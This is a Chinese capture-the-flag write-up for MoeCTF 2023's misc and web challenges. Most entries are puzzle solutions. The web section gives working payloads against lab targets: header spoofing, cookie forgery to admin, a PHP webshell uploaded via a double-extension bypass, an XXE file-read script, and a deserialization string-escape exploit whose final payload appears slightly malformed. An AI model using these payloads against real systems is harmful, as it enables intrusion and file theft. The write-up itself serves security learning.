MoeCTF 2023 miscweb wp

2023-10-17 23:30
文章标签 2023 wp moectf miscweb

本文主要是介绍MoeCTF 2023 miscweb wp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

官方WP

https://github.com/XDSEC/MoeCTF_2023

MISC

misc入门指北

base64解码

moectf{h@v3_fun_@t_m15c_!}

打不开的图片1

拿到空文件去010看看

尾巴FF D9符合jpg,考查文件头缺失

补充jpg文件头即可

保存后,改后缀为.jpg后打开

没有东西,才看到ascii里有exif,考虑属性藏了东西

藏了hex,解码

moectf{XDU_i5_v3ry_6e@u2ifu1}

打不开的图片2

根据提示猜测文件头尾不相同

改头为png格式即可

刚好改前面四个就行

moectf{D0_yOu_1ik3_Bo7@ck_?}

狗子(1) 普通的猫

题目给的一个wav文件,但flag实际就在ascii最底下

moectf{eeeez_f1ag_as_A_G1ft!}

building_near_lake

直说过程

百度识图,社到地址为厦门大学翔安校区图书馆

然后百度地图拾取器,定位直接提取经纬度

设备信息在exif里面有型号,复制到网上一搜就是红米k60,再搜其发布时间即可

moectf{P0sT_Y0uR_Ph0T0_wiTh_0Riginal_File_is_n0T_a_g00d_idea_YlJf!M3rux}

尊嘟假嘟?

先拿到txt文本

在github里搜索到对应加密    GitHub - SnailSword/zdjd: 人类语言与尊嘟语的转换器。

在线解密即可

密码已经给出

key:字符串zundujiadu?哈希加密后b60开头哈希值末尾8个字节

iv(偏移量):字符串dududu?哈希加密后272开头哈希值末尾8个字节

hint1:比特币地址的加密方式

hint2:此次加密的名称为“bl***sh”

分别行动

哈希加密算法 MD5|SHA-1|SHA-2|SHA-256|SHA-512|SHA-3|RIPEMD-160哈希Hash加密算法 iP138在线工具

比特币区块链(三) | 比特币地址

cyberchef直接搜bl找对应的就行

总结如下

赛博厨子解密

moectf{wow_you_aRe_the_masteR_of_Zundujiadu_92WPIBung92WPIBung9?WPIBung}

烫烫烫

坤坤,以后做全试一遍得了,目前还不太懂这类编码...

文本内容可以用decode text解决,选择UTF-7模式,并且input ouput的右下角都要选择UTF-7

这是你的flag

a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262

但是flagAES加密了,key是下面这行字的sha256hash值的开头是b34edc782d68fda34dc23329

所以说,codepage真的很重要啊(

开头有了但没有后面,试试加密下后面的文本

给了句子的前面部分,所以这里直接把句子的sha256复制就行

这里记录下各个位置的参数选择

狗子(2) 照片

尝试了很多,一开始zsteg还不行,后来m神说图片太大,要改宽高变小点再试

高度改成和宽度一样再试试

moectf{D0ggy_H1dd3n_1n_Pho7o_With_LSB!}

base乐队

拿到字符串放到cyberchef

看到两个=但不是都在最后,考虑可能有凯撒或者栅栏或者rot啥的吧,直接工具梭哈一下

栅栏密码,把明文再放入cyberchef

moectf{Th4_6@nd_1nc1ud45_F3nc4_@nd_b@s3}

奇怪的压缩包

附件下来看到里面有ppt,结合题目说不是压缩包,尝试改后缀.ppt

Ctrl+a 全选找找是否有藏起来的文字框

发现第二页是把字体改白色和背景混起来了

第三页同样方法,藏在图片后面,但123456是假的,注释才是flag内容

第四页同理

最后一页按次方法没用,但估计最后一段就在这里了,根据前面得到flagmoectf{2ip_?_n0_i4

也可以猜到是ppt或者pptx,估计一直爆破也能出

通过m神提示:还可以ctrl+f搜索一下

锁定在这个框,一直拖着这个框可以看到,最后一点flag

moectf{2ip_?_n0_i4_pp4x!}

机位查询

第一张抓远处南京站,城市便捷,还有下面的店铺猪霸王

百度地图里面定位好后,切3D到这条路上一看,只有一栋高楼对应,jiashi

第二张很明显,百度地图直接定位中山路美食街,切3D进门口的路口处观察

对面只有一个博物馆和一个高楼,博物馆太矮所以锁定百盛广场   baisheng

第三张图可找死我了,这个拍摄角度非常刁钻,我抓的是时代丽都和中国人保还有95500(太平洋保险)

定位也到了,但最后发现太平洋保险离另外两个特别远,后来才知道做法不对,这张图exif有经纬度

在线查看图片经纬度_图片Exif信息_图片定位信息_GPS信息 - StrErr.com

google地图打开

试了亚朵发现不行,后来百度地图也定位到这里才发现这栋楼叫汇金苑..         huijin

moectf{jiashi_baisheng_huijin}

狗子(3) 寝室

使用压缩包脚本(来自紫竹老公写的)

Python


import zipfile
import os
import rarfile
import tarfile
import py7zr

a=9999
while a!=0:
  zipname='shell'+str(a)+'.zip'
  if(os.path.exists(zipname)):
    zfile=zipfile.ZipFile(zipname)
    zfile.extractall()
    zfile.close()
    a-=1
  rarname='shell'+str(a)+'.rar'
  if(os.path.exists(rarname)):
    rfile=rarfile.RarFile(rarname)
    rfile.extractall()
    rfile.close()
    a-=1
  tarname='shell'+str(a)+'.tar.gz'
  if(os.path.exists(tarname)):
    rfile=tarfile.open(tarname)
    rfile.extractall()
    rfile.close()
    a-=1
  zname='shell'+str(a)+'.7z'
  if(os.path.exists(zname)):
    file=py7zr.SevenZipFile(zname)
    file.extractall()
    file.close()
    a-=1

把该py文件和shell9999文件放一个目录下直接运行脚本即可

moectf{Ca7_s133p1ng_und3r_zip_5hell5}

你想要flag

拿到音频文件查看下频谱图

steghide

根据文件名和编码前缀可知为rabbit加密

moectf{Mu5ic_1s_v3ry_1nt23esting_!}

照片冲洗

解题步骤:

题目仅给了一张图,根据题目描述猜测是两张图的盲水印,这里先要把图片文件分成两张图

010搜索png文件尾发现有两个并且一个在中间一个在末尾,手工分离一下,并添加好文件头

  • PNG (png)
    文件头:89 50 4E 47 0D 0A 1A 0A
    文件尾:AE 42 60 82

利用工具操作即可

注意模式和先后顺序均有讲究

moectf{W0w_you_6@v3_1earn3d_blind_w@t3rma2k}

狗子(4) 故乡话

解题步骤:

true1false0

眯眼睛看隐隐约约好像有东西在里面

0.   10

明显多了,紫竹思路是猜测附魔台的语言,果真啊牛逼

对照表翻译即可

moectf{dontanswer}

weird_package

010打开压缩包看到很多压缩包隐写在里面

但是binwalk不出来,猜测是要自己拼接

但是bandizip可以直接修复

打开后都是类似base64的玩意,按队里佬提示用cyberchef解密

八个假的,只有一个是真的flag

moectf{wow_tHis_is_a_faKe_fLaG_HaHaHa_S66ilDMV3DciYf!lP0iYlJf!M3rux9G9V}

web

题目名称: http 

知识点:   http认证绕过

解题步骤:

按照要求完成五个任务即可

Payload:

GET:UwU=u

POST:Luv=u

cookie:character=admin

x-forwarded-for:127.0.0.1

User-Agent: MoeBrowser

Post外其余都得在Upgrade上面

moectf{basic_http_knowledge_I-MHSmMgztyYeW4SgAbRP4Fyu0Qx13Or}

WEB

web入门指北

知识点:hex base64

hexbase64

moectf{w3lCome_To_moeCTF_W2b_challengE!!}

彼岸的flag

知识点:源码泄露

一开始以为是啥,原来就是源码泄露

在管理员撤回的信息这里有flag的注释

moectf{find_comments_9qv7ywbgbwCasdsfanngjHxGfgQVUKIw}

cookie

知识点:伪造token

题目有附件

按照方法先注册并且登录后访问/flag

头:POST /register

显示用户已存在,我们使用自己的账号

然后登录

获得token

这个是base64加密的

解密为:{"username": "nanian", "password": "123456", "role": "user"}

放包后手动跳转到/flag

flag{sorry_but_you_are_not_admin}

这个假flag提示了我们role可能要改成admin(毕竟只有这个是新出来的东西)

{"username": "nanian", "password": "123456", "role": "admin"} base64 encode

放入浏览器的cookie的token里就行

再次访问/flag

moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}

 gas!gas!gas!

开始游戏会给出题目,然后对应题目选择正确的选项答案即可,关键在于有时间限制,所以需要编写脚本

Python
import requests
from bs4 import BeautifulSoup
url='http://localhost:11499/'  #URL
session=requests.Session()
fx = 0
sd = 0
data={"driver":"aaa","steering_control":fx,"throttle":sd}
re=session.post(url=url,data=data)
for i in range(7):
    if '
向左' in re.text:
      fx=1
    if '向右' in re.text:
      fx=-1
    if '弯道直行' in re.text:
      fx=0
    if '抓地力太小了' in re.text:
      sd=0
    if '抓地力太大了' in re.text:
      sd=2
    if '保持这个速度' in re.text:
      sd=1
    soup = BeautifulSoup(re.content, "html.parser")
    info_div = soup.find("div", {"id": "info"})
    print(info_div.text)
    data={"driver":"aaa","steering_control":fx,"throttle":sd}
    re=session.post(url=url,data=data)
    print(data)
    #来自紫竹编写的脚本~
  

助神为什么神!

moectf{Beautiful_Drifting!!_nUhVFFm2dbVI7EU7NC0_F4dDz-n6jjQ7}

moe图床

知识点:文件上传  双后缀绕过 源码泄露

先正常上传一个文件

发现调用了upload.php,访问一下

源码泄露,抓住重点位置

比如我上传muma.png.php的话

explode():把它们分成muma   png   php 三段

然后count计数为3>2进入if内,然后让segment=第二个位置也就是png,再进第二个if里判断是否为png

还要注意文件大小和类型。

这里上传一个正常图片,然后改文件名和内容即可

蚁剑连接 key1,在根目录找到flag

moectf{hmmm_improper_filter_G_x2kN18o5IQp_fuYySgbw6IUVvvU_Sm}

了解你的座驾

知识点:xxe

提示flag在根目录中,抓包以下

xxe还没学,关键点在下图

直接套m神脚本

Python
import requests


headers = {
    'Host': 'localhost:52776',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'multipart/form-data; boundary=---------------------------15719226131077920622631907538',
    'Origin': 'null',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'cross-site',
    'Sec-Fetch-User': '?1',
}

data = '''-----------------------------15719226131077920622631907538
Content-Disposition: form-data; name="xml_content"
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///flag" >
]>
<xml><name>&b;</name></xml>

-----------------------------15719226131077920622631907538--
'''

response = requests.post('xxx
网址位置xxx', headers=headers, data=data)   #URL

print(response.text)

moectf{Which_one_You've_Chosen?0n8i1NDyjS2SD5yAUtpdBqqvH8vXFeSu}

大海捞针

知识点:URL爆破

按照要求先进/?id=1看看

跟彼岸的flag一样属于源码泄露,只不过这次要爆破从1-1000的URL,只有一个里面有flag

BP抓包后到Intruder加变量,再加一个1-1000的字典然后爆破即可

Python
desktop_path = "xxx"  # 替换为您的路径

with open(f"{desktop_path}/number_dictionary.txt", 'w') as file:
    for number in range(1, 1001):
        file.write(str(number) + '\n')
#数字字典脚本

找到一个不同长度的进去搜索moectf即可得到flag

还可以使用py脚本遍历网址查看htmlmoectf关键词然后输出其注释内容也可以

来自chatgpt写的脚本

Python
import requests
from bs4 import BeautifulSoup, Comment
import time


def check_for_moectf(comment):
    return "moectf" in comment


def main():
    base_url = "https://example.com/?id="  #
添加自己的URL
    found_moectf = False

    for id_num in range(1, 1001):
        url = base_url + str(id_num)
        response = requests.get(url)

        if response.status_code == 200:
            soup = BeautifulSoup(response.text, "html.parser")
            comments = soup.find_all(string=lambda text: isinstance(text, Comment))

            for index, comment in enumerate(comments, start=1):
                print(f"Comment {index} at {url} (ID: {id_num}): {comment}")

                if not found_moectf and check_for_moectf(comment):
                    print(f"Found 'moectf' in comment at {url} (ID: {id_num}): {comment}")
                    found_moectf = True
                    break  # 找到后立即结束当前页面的注释检查
        else:
            print(f"Failed to fetch the webpage at {url}.")

        # 添加时间间隔,模拟正常的访问速度
        time.sleep(1)  # 在每个请求之后等待1秒

        if found_moectf:
            break  # 找到 moectf 后立即结束整体检查


if __name__ == "__main__":
    main()

moectf{script_helps_QKmIks5AEfKv4t-VhXQvlIGufYuK5bLp}

meo图床

知识点:   file_get_contents()  php弱类型比较

正常流程上传图片之后

经过bp抓包发现name参数里的值为文件名,改成flag看回显

尝试../,最后在根目录处得到提示

直接访问URL/Fl3g_n0t_Here_dont_peek!!!!!.php

简单弱类型md5比较,直接数组绕过

?param1[]=1&param2[]=2

moectf{oops_file_get_contents_controllable_Vr83kqkQn07GeQ_FSCvDh_-KAXgF7mLP}

夺命十三枪

知识点:反序列化漏洞 字符串逃逸

Hanxin.exe.php里也有源文件

从下面读吧,flag是环境变量,只要满足让Spear_Owner=MaoLei就可以得到flag

Spear_Owner是类Omg_It_Is_So_Cool_Bring_Me_My_Flag的变量

再看第一张图的$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$Nwe_visitor调用了此类创建实例,然后被反序列化后赋值给变量before

before再运行了Make_a_Move($move)方法,也就是第二张图十三枪那里,其作用是对符合条件的字符串进行替换

结束此方法后的值给到after,并对其进行序列化,接着运行Omg_It_Is_So_Cool_Bring_Me_My_Flag类里的判断,如果此时Spear——Owner的值是MaoLei的话就可以获得flag

这里在十三枪替换处存在一个字符串逃逸的漏洞,具体原理参考资料

我这里用第一枪,替换一个逃逸一个字符

关键payload:";s:11:"Spear_Owner";s:6:"MaoLei";}占35格

那就给35个第一枪上去di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

这里总共420格,最后补其句式即可

EXP

GET:URL/?chant=o:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flags":2{s:5:"Chant"s:420:"di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

这里还可以用第七枪,第七枪一次逃逸5

这篇关于MoeCTF 2023 miscweb wp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/228683

相关文章

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

2023 CCPC(秦皇岛)现场(第二届环球杯.第 2 阶段:秦皇岛)部分题解

所有题目链接:Dashboard - The 2023 CCPC (Qinhuangdao) Onsite (The 2nd Universal Cup. Stage 9: Qinhuangdao) - Codeforces 中文题面: contest-37054-zh.pdf (codeforces.com) G. Path 链接: Problem - G - Codeforces

HNU-2023电路与电子学-实验1

写在前面: 这是电路与电子学课程的第一次实验,按照指导书的需求在Multisim软件搭建一个电路传感器模型,难度较小,细心完成就没有问题。 小tips:22级实验是采用上传到测试平台来进行功能检测,如果不通过则会打回修改后再重新提交,(我们那时候的评测系统特别特别慢,一次只能测一个同学,剩下同学就排队等着,久的时候甚至超过10个小时),这里列举一个常见的错误:热噪声有+号这端需要连接有源滤波器

【python】—— Python爬虫实战:爬取珠海市2011-2023年天气数据并保存为CSV文件

目录 目标 准备工作 爬取数据的开始时间和结束时间 爬取数据并解析 将数据转换为DataFrame并保存为CSV文件         本文将介绍如何使用Python编写一个简单的爬虫程序,以爬取珠海市2011年至2023年的天气数据,并将这些数据保存为CSV文件。我们将涉及到以下知识点: 使用requests库发送HTTP请求使用lxml库解析HTML文档使用dateti

Acrobat Pro DC 2023 for Mac/Win:全能型PDF编辑器深度解析

Adobe Acrobat Pro DC 2023作为一款跨平台的PDF编辑器,无论是对于Mac还是Windows用户,都提供了极为全面且强大的PDF处理功能。该软件凭借其卓越的性能和丰富的特性,成为了全球范围内用户处理PDF文档的首选工具。 一、强大的编辑功能 Acrobat Pro DC 2023内置了多种编辑工具,如文本编辑器、图片替换、页面调整等,使用户能够轻松地对PDF文档进行修改和

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

【行业报告】2023年消除类手游全球市场洞察

​更多消除内容: 长线消除游戏商业化设计案例:《梦幻花园》 - 游戏干饭之家 谈谈《开心消消乐》是如何做游戏商业化活动 - 游戏干饭之家 消除游戏展现了从简单的游戏玩法到复杂的社交互动,再到精细化运营的发展历程,其通过不断的创新和适应现代游戏的市场变化,依然活跃在市场的前沿 一、消除游戏分类定义 二、消除手游市场现状分析 消除手游近两年下载量增速表现优于整体手游表现,下

【数据分享】2000—2023年我国省市县三级逐月归一化植被指数(NDVI)数据(Shp/Excel格式)

之前我们分享过2000—2023年逐月归一化植被指数(NDVI)栅格数据(可查看之前的文章获悉详情),该数据来源于NASA定期发布的MOD13A3数据集!很多小伙伴拿到数据后反馈栅格数据不太方便使用,问我们能不能把数据处理为更方便使用的Shp和Excel格式的数据! 我们特地对数值在-0.2—1之间的NDVI栅格数据进行了处理,将2000-2023年逐月的归一化植被指数栅格分别按照我国省级行政边

Update Azure OpenAI npm Package to 2023-12-01-preview Version

题意:将 Azure OpenAI npm 包更新到 2023-12-01-preview 版本 问题背景: I am currently using the azure-openai npm package in my project with version 2023-03-15-preview. As per the latest updates, version 2023-12